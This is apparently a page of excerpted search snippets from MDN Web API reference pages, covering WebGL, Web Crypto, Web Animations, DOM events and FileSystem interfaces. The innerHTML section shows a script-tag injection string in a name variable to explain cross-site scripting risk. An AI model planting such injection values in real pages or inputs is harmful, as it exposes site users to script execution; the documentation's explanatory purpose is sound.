WebGLRenderingContext.renderbufferStorage(): The internalformat parameter now accepts ext.RGBA16F_EXT and ext.RGBA16F_EXT. Examples var ext = gl.getExtension('EXT_color_buffer_half_float'); gl.renderbufferStorage(gl.RENDERBUFFER, ext.RBGA16F_EXT, 256, 256); Specifications Specification Status Comment EXT_color_buffer_half_floatThe definition of 'EXT_color_buffer_half...
EXT_disjoint_timer_query.beginQueryEXT() - Web APIs
Return value None. Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var query = ext.createQueryEXT(); ext.beginQueryEXT(ext.TIME_ELAPSED_EXT, query); // ... ...
... Return value None. Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var query = ext.createQueryEXT(); ext.beginQueryEXT(ext.TIME_ELAPSED_EXT, query); // ... ...
EXT_disjoint_timer_query.deleteQueryEXT() - Web APIs
Return value None. Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var query = ext.createQueryEXT(); // ... ...
... Return value None. Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var query = ext.createQueryEXT(); // ... ...
EXT_disjoint_timer_query.getQueryEXT() - Web APIs
If pname is ext.QUERY_COUNTER_BITS_EXT: A GLint indicating the number of bits used to hold the query result for the given target. ...
...rns information about a query target. Syntax any ext.getQueryEXT(target, pname); Parameters target A GLenum specifying the target of the time query. Must be ext.TIMESTAMP_EXT or ext.TIME_ELAPSED_EXT. pname A GLenum specifying which information to return. Must be ext.CURRENT_QUERY_EXT or ext.QUERY_COUNTER_BITS_EXT. Return value Depends on pname: If pname is ext.CURRENT_QUERY_EXT: A
WebGLQuery object, which is the currently active query for the given target. If pname is ext.QUERY_COUNTER_BITS_EXT: A GLint indicating the number of bits used to hold the query result for the given target. Examples var ext = gl.getExtension('EXT_disjoint_timer_query'); var startQuery = ext.createQueryEXT(); ext.queryCounterEXT(startQuery, ext.TIMESTAMP_EXT); var currentQuery = ext.getQueryEXT(e...
EcKeyImportParams - Web APIs
The EcKeyImportParams dictionary of the
Web Crypto API represents the object that should be passed as the algorithm parameter into SubtleCrypto.importKey() or SubtleCrypto.unwrapKey(), when generating any elliptic-curve-based key pair: that is, when the algorithm is identified as either of ECDSA or ECDH. Properties name A DOMString. This should be set to ECDSA or ECDH, depending on the algorithm you want to use. namedCurve A DOMString representing the name of the elliptic curve to use. This may be any of the following names for NIST-approved curves: P-256 P-384 P-521 Examples See the examples for SubtleCrypto.importKey(). ...
... A DOMString. This should be set to ECDSA or ECDH, depending on the algorithm you want to use. namedCurve A DOMString representing the name of the elliptic curve to use. This may be any of the following names for NIST-approved curves: P-256 P-384 P-521 Examples See the examples for SubtleCrypto.importKey(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.EcKeyImportParams' in that specification. Recommendation ...
EcdhKeyDeriveParams - Web APIs
ECDH enables two people who each have a key pair consisting of a public and a private key to derive a shared secret. They exchange public keys and use the combination of their private key and the other entity's public key to derive a secret key that they -- and noone else -- share. The parameters for ECDH deriveKey() therefore include the other entity's public key, which is combined with this entity's private key to derive the shared secret. Properties name A DOMString. This should be set to ECDH. ...
... Recommendation ...
EcdsaParams - Web APIs
The EcdsaParams dictionary of the
Web Crypto API represents the object that should be passed as the algorithm parameter into SubtleCrypto.sign() or SubtleCrypto.verify() when using the ECDSA algorithm. Properties name A DOMString. This should be set to ECDSA. hash A DOMString. An identifier for the digest algorithm to use. This should be one of the following: SHA-256: selects the SHA-256 algorithm. SHA-384: selects the SHA-384 algorithm. SHA-512: selects the SHA-512 algorithm. Warning: SHA-1 is also supported here but the SHA-1 algorithm is considered vulnerable and should no longer be used. Examples See the examples for SubtleCrypto.sign() or SubtleCrypto.verify(). ...
...SHA-256: selects the SHA-256 algorithm. SHA-384: selects the SHA-384 algorithm. SHA-512: selects the SHA-512 algorithm. Warning: SHA-1 is also supported here but the SHA-1 algorithm is considered vulnerable and should no longer be used. Examples See the examples for SubtleCrypto.sign() or SubtleCrypto.verify(). Specifications Specification Status Comment
Web Cryptography APIThe definition of 'SubtleCrypto.EcdsaParams' in that specification. Recommendation ...
EffectTiming.delay - Web APIs
Element.animate(), KeyframeEffectReadOnly(), and KeyframeEffect() all accept an object of timing properties including delay. The value of delay corresponds directly to EffectTiming.delay in timing objects returned by AnimationEffectReadOnly, KeyframeEffectReadOnly, and KeyframeEffect. ...
... Working Draft Editor's draft. ...
EffectTiming.direction - Web APIs
The value of direction corresponds directly to AnimationEffectTimingReadOnly.direction in timing objects returned by AnimationEffectReadOnly, KeyframeEffectReadOnly, and KeyframeEffect. ...
... Working Draft Editor's draft. ...
EffectTiming.duration - Web APIs
Element.animate(), KeyframeEffectReadOnly(), and KeyframeEffect() all accept an object of timing properties including duration. The value of duration corresponds directly to AnimationEffectTimingReadOnly.duration in timing objects returned by AnimationEffectReadOnly, KeyframeEffectReadOnly, and KeyframeEffect. ...
... Working Draft Editor's draft. ...
EffectTiming.easing - Web APIs
Element.animate(), KeyframeEffectReadOnly(), and KeyframeEffect() all accept an object of timing properties including easing. The value of easing corresponds directly to AnimationEffectTimingReadOnly.easing in timing objects returned by AnimationEffectReadOnly, KeyframeEffectReadOnly, and KeyframeEffect. ...
... Working Draft Editor's draft. ...
EffectTiming.endDelay - Web APIs
The animation's end time--the time at which an iteration is considered to have finished--is the time at which the animation finishes an iteration (its initial delay, AnimationEffectTimingReadOnly.delay, plus its duration,duration, plus its end delay. This is useful for sequencing animations based on the end time of another animation; note, however, that many of the sequence effectst that will benefit most from this property have not been defined in the specification yet. ...
... Working Draft Editor's draft. ...
EffectTiming.fill - Web APIs
For example, setting fill to "none" means the animation's effects are not applied to the element if the current time is outside the range of times during which the animation is running, while "forwards" ensures that once the animation's end time has been passed, the element will continue to be drawn in the state it was in at its last rendered frame. Note that authors are discouraged from using fill modes to persist the effect of an animation indefinitely. ...
... Working Draft Editor's draft. ...
EffectTiming.iterationStart - Web APIs
Element.animate(), KeyframeEffectReadOnly.KeyframeEffectReadOnly(), and KeyframeEffect.KeyframeEffect() all accept an object of timing properties including iterationStart. The value of iterationStart corresponds directly to AnimationEffectTimingReadOnly.iterationStart in timing objects returned by AnimationEffectReadOnly, KeyframeEffectReadOnly, and KeyframeEffect. ...
...t at 0, a value of 0.5 would start the animation halfway through its first iteration or loop. Meanwhile, a value of 1.2 means the animation will begin playback 20% of the way through its second iteration, and so forth. It's currently undefined what happens if you specify a value of iterationStart which is greater than the value of AnimationEffectTimingProperties.iterations. See issue 170 in the
Web Animations API specification's issue tracker for details and status of any changes to the specification in this regard. Specifications Specification Status Comment
Web AnimationsThe definition of 'iterationStart' in that specification. Working Draft Editor's draft. ...
EffectTiming.iterations - Web APIs
The default value is 1, indicating that it should only play once, but you can set it to any floating-point value (including positive Infinity defaults to 1, and can also take a value of Infinity to make it loop infinitely. Element.animate(), KeyframeEffectReadOnly(), and KeyframeEffect() all accept an object of timing properties including iterations. The value of iterations corresponds directly to AnimationEffectTimingReadOnly.iterations in timing objects returned by AnimationEffectReadOnly, KeyframeEffectReadOnly, and KeyframeEffect. ...
... Working Draft Editor's draft. ...
EffectTiming - Web APIs
These properties are all optional, although without setting a duration the animation will not play. Simply put, these properties describe how the user agent should go about making the transition from keyframe to keyframe, and how to behave when the animation begins and ends. Properties delay Optional The number of milliseconds to delay the start of the animation. Defaults to 0. ...
... Working Draft Initial definition ...
Element.animate() - Web APIs
tle smarter: blur(2) and blur(5) become blur(7), not blur(2) blur(5). replace overwrites the previous value with the new one. iterationComposite Optional Determines how values build from iteration to iteration in this animation. Can be set to accumulate or replace (see above). Defaults to replace. Return value Returns an Animation. Examples In the demo Down the Rabbit Hole (with the
Web Animation API), we use the convenient animate() method to immediately create and play an animation on the #tunnel element to make it flow upwards, infinitely. Notice the array of objects passed as keyframes and also the timing options block. document.getElementById("tunnel").animate([ // keyframes { transform: 'translateY(0px)' }, { transform: 'translateY(-300px)' } ], { // timing optio...
....e. a single keyframe), and the browser will infer the other end of the animation if it is able to. For example, consider this simple animation -- the Keyframe object looks like so: let rotate360 = [ { transform: 'rotate(360deg)' } ]; We have only specified the end state of the animation, and the beginning state is implied. Specifications Specification Status Comment
Web Animations Level 2The definition of 'KeyframeAnimationOptions.iterationComposite' in that specification. Draft Added the iterationComposite option.
Web AnimationsThe definition of 'animate()' in that specification. Working Draft Initial definition ...
Element.closest() - Web APIs
.closest(":not(div)"); // returns the closest ancestor which is not a div, here it is the outmost article Polyfill For browsers that do not support Element.closest(), but carry support for element.matches() (or a prefixed equivalent, meaning IE9+), a polyfill exists: if (!Element.prototype.matches) { Element.prototype.matches = Element.prototype.msMatchesSelector || Element.prototype.
webkitMatchesSelector; } if (!Element.prototype.closest) { Element.prototype.closest = function(s) { var el = this; do { if (Element.prototype.matches.call(el, s)) return el; el = el.parentElement || el.parentNode; } while (el !== null && el.nodeType === 1); return null; }; } However, if you really do require IE 8 support, then the following polyfill will do the job...
...if (Element.prototype.matches.call(el, s)) return el; el = el.parentElement || el.parentNode; } while (el !== null && el.nodeType === 1); return null; }; } However, if you really do require IE 8 support, then the following polyfill will do the job very slowly, but eventually. However, it will only support CSS 2.1 selectors in IE 8, and it can cause severe lag spikes in production
websites. if (window.Element && !Element.prototype.closest) { Element.prototype.closest = function(s) { var matches = (this.document || this.ownerDocument).querySelectorAll(s), i, el = this; do { i = matches.length; while (--i >= 0 && matches.item(i) !== el) {}; } while ((i < 0) && (el = el.parentElement)); return el; }; } Specifications Sp...
Element.currentStyle - Web APIs
(this); } }); } Specification Not part of any specification. Microsoft had a description on MSDN. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...le Non-standardChrome No support NoEdge No support NoFirefox No support NoIE Full support 6Opera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
Element.getAnimations() - Web APIs
The getAnimations() method of the Element interface (specified on the Animatable mixin) returns an array of all Animation objects affecting this element or which are scheduled to do so in future. It can optionally return Animation objects for descendant elements too. Note: This array includes CSS Animations, CSS Transitions, and
Web Animations. Syntax const animations = Element.getAnimations(options); Parameters options Optional An options object containing the following property: subtree A boolean value which, if true, causes animations that target descendants of Element to be returned as well. This includes animations that target any CSS pseudo-elements attached to Element or one of its descendents. Defaults to false. Return value An Array of Animation o...
...scendant elements if { subtree: true } is specified. Examples The following code snippet will wait for all animations on elem and its descendants to finish before removing the element from the document. Promise.all( elem.getAnimations({ subtree: true }) .map(animation => animation.finished) ).then(() => elem.remove()); Specifications Specification Status Comment
Web AnimationsThe definition of 'Animatable.getAnimations()' in that specification. Working Draft Editor's draft. ...
Element.innerHTML - Web APIs
or the new elements. If the element whose contents are being replaced is a <template> element, then the <template> element's content attribute is replaced with the new DocumentFragment created in step 1. For all other elements, the element's contents are replaced with the nodes in the new DocumentFragment. Security considerations It is not uncommon to see innerHTML used to insert text into a
web page. There is potential for this to become an attack vector on a site, creating a potential security risk. const name = "John"; // assuming 'el' is an HTML DOM element el.innerHTML = name; // harmless in this case // ... name = "<script>alert('I am John in an annoying alert!')</script>"; el.innerHTML = name; // harmless in this case Although this may look like a cross-site scripting attack, ...
... Warning: If your project is one that will undergo any form of security review, using innerHTML most likely will result in your code being rejected. For example, if you use innerHTML in a browser extension and submit the extension to addons.mozilla.org, it will not pass the automated review process. Example This example uses innerHTML to create a mechanism for logging messages into a box on a
web page. JavaScript function log(msg) { var logElem = document.querySelector(".log"); var time = new Date(); var timeStr = time.toLocaleTimeString(); logElem.innerHTML += timeStr + ": " + msg + "<br/>"; } log("Logging mouse events inside this container..."); The log() function creates the log output by getting the current time from a Date object using toLocaleTimeString(), and building...
Element.runtimeStyle - Web APIs
t Internet Explorer. Specification Not a part of any specification. Microsoft had a description on MSDN. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...le Non-standardChrome No support NoEdge No support NoFirefox No support NoIE Full support 6Opera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android No support NoOpera Android No support NoSafari iOS No support NoSamsung Internet Android ...
Element.scrollLeftMax - Web APIs
Syntax var pxl = element.scrollLeftMax; Specifications This property is not part of any specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...x Non-standardChrome No support NoEdge No support NoFirefox Full support 16IE No support NoOpera No support NoSafari No support No
WebView Android No support NoChrome Android No support NoFirefox Android Full support 16Opera Android No support NoSafari iOS No support NoSamsung Internet Android ...
Element: scroll event - Web APIs
Examples Scroll event throttling Since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as DOM modifications. ...
... Examples Scroll event throttling Since scroll events can fire at a high rate, the event handler shouldn't execute computationally expensive operations such as DOM modifications. ...
ErrorEvent - Web APIs
face represents events providing information related to errors in scripts or in files. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/ErrorEvent" target="_top"><rect x="116" y="1" width="100" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="166" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ErrorEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Properties Also inhe...
Comparison of Event Targets - Web APIs
ered this event, eg: element.dispatchEvent(event) event.currentTarget DOM Event Interface The EventTarget whose EventListeners are currently being processed. As the event capturing and bubbling occurs, this value changes. event.relatedTarget DOM MouseEvent Interface Identifies a secondary target for the event. event.explicitOriginalTarget Event.
webidl If the event was retargeted for some reason other than an anonymous boundary crossing, this will be set to the target before the retargeting occurs. For example, mouse events are retargeted to their parent node when they happen over text nodes (bug 185889), and in that case .target will show the parent and .explicitOriginalTarget will show the text node. Unlike .originalTarget, .expli...
... this will be set to the target before the retargeting occurs. For example, mouse events are retargeted to their parent node when they happen over text nodes (bug 185889), and in that case .target will show the parent and .explicitOriginalTarget will show the text node. Unlike .originalTarget, .explicitOriginalTarget will never contain anonymous content. event.originalTarget Event.
webidl The original target of the event, before any retargetings. See Anonymous Content#Event_Flow_and_Targeting for details. event.composedTarget Event.
webidl The original non-native target of the event before composition from Shadow DOM. Use of explicitOriginalTarget and originalTarget TODO: Only available in a Mozilla-based browser? TODO: Only suitable for extensi...
Event.composed - Web APIs
ment and then the <closed-shadow> element, you'll notice two things. The composed property returns true beause the click event is always able to propagate across shadow boundaries. You'll notice a difference in the value of composedPath for the two elements. ...
...ce a difference in the value of composedPath for the two elements. The <open-shadow> element's composed path is this: Array [ p, ShadowRoot, open-shadow, body, html, HTMLDocument https://mdn.github.io/
web-components-examples/composed-composed-path/, Window ] Whereas the <closed-shadow> element's composed path is a follows: Array [ closed-shadow, body, html, HTMLDocument https://mdn.github.io/
web-components-examples/composed-composed-path/, Window ] In the second case, the event listeners only propagate as far as the <closed-shadow> element itself, but not to the nodes inside the shadow boundary. Specifications Specification Status Comment DOMThe definition of 'composed' in that specification. Living Standard ...
Event.composedPath() - Web APIs
then the <closed-shadow> element, you'll notice two things. First, the composed property returns true beause the click event is always able to propagate across shadow boundaries. Second, you'll notice a difference in the value of composedPath for the two elements. ...
...tice a difference in the value of composedPath for the two elements. The <open-shadow> element's composed path is this: Array [ p, ShadowRoot, open-shadow, body, html, HTMLDocument https://mdn.github.io/
web-components-examples/composed-composed-path/, Window ] Whereas the <closed-shadow> element's composed path is a follows: Array [ closed-shadow, body, html, HTMLDocument https://mdn.github.io/
web-components-examples/composed-composed-path/, Window ] In the second case, the event listeners only propagate as far as the <closed-shadow> element itself, but not to the nodes inside the shadow boundary. Specifications Specification Status Comment DOMThe definition of 'composedPath()' in that specification. Living Standard ...
EventSource - Web APIs
The EventSource interface is
web content's interface to server-sent events. An EventSource instance opens a persistent connection to an HTTP server, which sends events in text/event-stream format. The connection remains open until closed by calling EventSource.close(). Once the connection is opened, incoming messages from the server are delivered to your code in the form of events. If there is an event field in the incoming message, the triggered event is the same as the event field value. If no event field is present, then a generic message event is fired. Unlike
WebSockets, server-sent events are unidirectional; that is, data messages are delivered in one direction, from the server to the client (such as a user's
web browser). That makes them an excellent choice when there's no need to s...
... When not used over HTTP/2, SSE suffers from a limitation to the maximum number of open connections, which can be specially painful when opening various tabs as the limit is per browser and set to a very low number (6). The issue has been marked as "Won't fix" in Chrome and Firefox. ...
EventTarget.dispatchEvent() - Web APIs
)' in that specification. Living Standard Initial definition in the DOM 2 Events specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... Full support 9 No support 6 -- 11Notes Alternate Name Notes Older versions of IE supported an equivalent, proprietary EventTarget.fireEvent() method.Alternate Name Uses the non-standard name: fireEventOpera Full support 9Safari Full support 3.2
WebView Android Full support 4Chrome Android Full support 18Firefox Android Full support 4Opera Android Full support 10.1Safari iOS Full support 3Samsung Internet Android ...
EventTarget - Web APIs
o support setting event handlers via onevent properties and attributes. ...
... Registers an event handler of a specific event type on the EventTarget. EventTarget.removeEventListener() Removes an event listener from the EventTarget. EventTarget.dispatchEvent() Dispatches an event to this EventTarget. Additional methods in Mozilla chrome codebase Mozilla includes a couple of extensions for use by JS-implemented event targets to implement onevent properties. See also
WebIDL bindings. void setEventHandler(DOMString type, EventHandler handler) EventHandler getEventHandler(DOMString type) Example Simple implementation of EventTarget var EventTarget = function() { this.listeners = {}; }; EventTarget.prototype.listeners = null; EventTarget.prototype.addEventListener = function(type, callback) { if (!(type in this.listeners)) { this.listeners[type]...
ExtendableEvent - Web APIs
3 (see bug 1180274.) This interface inherits from the Event interface. ...
... width="75" height="50" fill="#fff" stroke="#D4DDE4" stroke-width="2px" /><text x="38.5" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">Event</text></a><polyline points="76,25 86,20 86,30 76,25" stroke="#D4DDE4" fill="none"/><line x1="86" y1="25" x2="116" y2="25" stroke="#D4DDE4"/><a xlink:href="/docs/
Web/API/ExtendableEvent" target="_top"><rect x="116" y="1" width="150" height="50" fill="#F4F7F8" stroke="#D4DDE4" stroke-width="2px" /><text x="191" y="30" font-size="12px" font-family="Consolas,Monaco,Andale Mono,monospace" fill="#4D4E53" text-anchor="middle" alignment-baseline="middle">ExtendableEvent</text></a></svg></div> a:hover text { fill: #0095DD; pointer-events: all;} Note: This...
FederatedCredential - Web APIs
n Status Comment Credential Management Level 1 Working Draft Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...oidFirefox for AndroidOpera for AndroidSafari on iOSSamsung InternetFederatedCredential() constructor Non-standardChrome Full support 51Edge Full support <=79Firefox ? IE ? Opera ? Safari ?
WebView Android Full support 51Chrome Android Full support 51Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 5.0Legend ...
FederatedCredential.protocol - Web APIs
nt Level 1The definition of 'protocol' in that specification. Working Draft Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...irefox for AndroidOpera for AndroidSafari on iOSSamsung Internetprotocol ExperimentalChrome Full support 51Edge Full support <=79Firefox ? IE ? Opera Full support YesSafari ?
WebView Android Full support 51Chrome Android Full support 51Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 5.0Legend ...
FederatedCredential.provider - Web APIs
Status Comments Credential Management Level 1 Working Draft Initial definition. Browser compatibility The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...irefox for AndroidOpera for AndroidSafari on iOSSamsung Internetprovider ExperimentalChrome Full support 51Edge Full support <=79Firefox ? IE ? Opera Full support YesSafari ?
WebView Android Full support 51Chrome Android Full support 51Firefox Android ? Opera Android ? Safari iOS ? Samsung Internet Android Full support 5.0Legend ...
FetchEvent.navigationPreload - Web APIs
The definition of 'navigationPreload' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...rnetnavigationPreload ExperimentalChrome Full support 59Edge Full support <=79Firefox ? IE No support NoOpera Full support 46Safari No support No
WebView Android Full support 59Chrome Android Full support 59Firefox Android ? Opera Android Full support 43Safari iOS No support NoSamsung Internet Android Full support ...
FileReader - Web APIs
File objects may be obtained from a FileList object returned as a result of a user selecting files using the <input> element, from a drag and drop operation's DataTransfer object, or from the mozGetAsFile() API on an HTMLCanvasElement. Important note: FileReader is used to read file content from the user's (remote) system in secure ways only. It cannot be used to simply read a file by pathname from a file system. ...
...an HTMLCanvasElement. Important note: FileReader is used to read file content from the user's (remote) system in secure ways only. It cannot be used to simply read a file by pathname from a file system. To read files by pathname in JavaScript, standard Ajax solutions should be used to do server-side file reading, with CORS permission if reading cross-domain. Note: This feature is available in
Web Workers. Constructor FileReader() Returns a newly constructed FileReader. See Using files from
web applications for details and examples. Properties FileReader.error Read only A DOMException representing the error that occurred while reading the file. FileReader.readyState Read only A number indicating the state of the FileReader. This is one of the following: EMPTY ...
FileSystem.name - Web APIs
rectory Entries APIThe definition of 'name' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ameChrome Full support 7Edge Full support <=18Firefox Full support 50IE No support NoOpera Full support 15Safari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android Full support 14Safari iOS Full support 11.3Samsung Internet Android ...
FileSystem.root - Web APIs
rectory Entries APIThe definition of 'root' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ootChrome Full support 7Edge Full support <=18Firefox Full support 50IE No support NoOpera Full support 15Safari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android Full support 14Safari iOS Full support 11.3Samsung Internet Android ...
FileSystemDirectoryEntry.createReader() - Web APIs
tries APIThe definition of 'createReader()' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...mentalChrome Full support 13Edge Full support 79Firefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileSystemEntry.filesystem - Web APIs
y Entries APIThe definition of 'filesystem' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...imentalChrome Full support 8Edge Full support 79Firefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileSystemEntry.fullPath - Web APIs
cification. Draft Initial specification. This API has no official W3C or WHATWG specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...imentalChrome Full support 8Edge Full support 79Firefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileSystemEntry.getParent() - Web APIs
Entries APIThe definition of 'getParent()' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...erimentalChrome Full support 8Edge Full support 79Firefox No support NoIE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android No support NoOpera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileSystemEntry.isDirectory - Web APIs
Entries APIThe definition of 'isDirectory' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...imentalChrome Full support 8Edge Full support 79Firefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileSystemEntry.isFile - Web APIs
ctory Entries APIThe definition of 'isFile' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...imentalChrome Full support 8Edge Full support 79Firefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileSystemEntry.name - Web APIs
rectory Entries APIThe definition of 'name' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...imentalChrome Full support 8Edge Full support 79Firefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileSystemFileEntry.file() - Web APIs
ctory Entries APIThe definition of 'file()' in that specification. Draft Initial specification. Browser compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...netfileChrome Full support 8Edge Full support 79Firefox Full support 50IE No support NoOpera No support NoSafari Full support 11.1
WebView Android Full support <=37Chrome Android Full support 18Firefox Android Full support 50Opera Android No support NoSafari iOS Full support 11.3Samsung Internet Android ...
FileHandle API - Web APIs
There may also be large incompatibilities between implementations and the behavior may change in the future. The FileHandle API allows for the manipulating of files, including creating files and modifying their content (unlike the File API). Because the files manipulated through that API can be physically stored on the device, the editing part uses a turn-based locking mechanism in order to avoid race issues. ...
...e.flush(); saving.onsuccess = function () { console.log('The file has been successfully stored'); } } writing.onerror = function () { console.log('Something goes wrong in the writing process: ' + this.error); } API Compatibility Why a different API than FileWriter? The FileWriter specification defines FileWriters, objects aiming at representing editable files. Discussions on public-
webapps led to the conclusion that the API would behave poorly in the case of different entities writing concurrently to the same file. The outcome of this discussion is the FileHandle API with its LockedFile and transaction mechanism. Specifications A formal specification draft is being written. As it does not fully match the current implementation, be warned that the implementation and/or the spe...
FontFace.display - Web APIs
rking Draft Defines the values for the display property. (They are the same as for font-display.) Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ung Internetdisplay ExperimentalChrome Full support 60Edge Full support 79Firefox Full support 58IE ? ...
FontFaceSetLoadEvent.FontFaceSetLoadEvent() - Web APIs
efinition of 'FontFaceSetLoadEvent()' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...or AndroidSafari on iOSSamsung InternetFontFaceSetLoadEvent() constructor ExperimentalChrome Full support 57Edge Full support <=79Firefox ? IE ? Opera Full support 44Safari ?
WebView Android No support NoChrome Android Full support 57Firefox Android ? Opera Android Full support 43Safari iOS ? Samsung Internet Android Full support 7.0Leg...
FontFaceSetLoadEvent.fontfaces - Web APIs
Level 3The definition of 'fontfaces' in that specification. Working Draft Initial definition. Browser Compatibility The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...ndroidSafari on iOSSamsung Internetfontfaces ExperimentalChrome Full support 35Edge Full support <=79Firefox Full support YesIE ? Opera Full support 22Safari ?
WebView Android No support NoChrome Android Full support 35Firefox Android Full support YesOpera Android Full support 22Safari iOS ? Samsung Internet Android Full support ...
Using FormData Objects - Web APIs
sername", "Groucho"); formData.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // HTML file input, chosen by user formData.append("userfile", fileInputElement.files[0]); // JavaScript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file... var blob = new Blob([content], { type: "text/xml"}); formData.append("
webmasterfile", blob); var request = new XMLHttpRequest(); request.open("POST", "http://foo.com/submitform.php"); request.send(formData); Note: The fields "userfile" and "
webmasterfile" both contain a file. The number assigned to the field "accountnum" is immediately converted into a string by the FormData.append() method (the field's value can be a Blob, File, or a string: if the value is neither...
...asterfile" both contain a file. The number assigned to the field "accountnum" is immediately converted into a string by the FormData.append() method (the field's value can be a Blob, File, or a string: if the value is neither a Blob nor a File, the value is converted to a string). This example builds a FormData instance containing values for fields named "username", "accountnum", "userfile" and "
webmasterfile", then uses the XMLHttpRequest method send() to send the form's data. The field "
webmasterfile" is a Blob. A Blob object represents a file-like object of immutable, raw data. Blobs represent data that isn't necessarily in a JavaScript-native format. The File interface is based on Blob, inheriting blob functionality and expanding it to support files on the user's system. In order to buil...
GainNode.gain - Web APIs
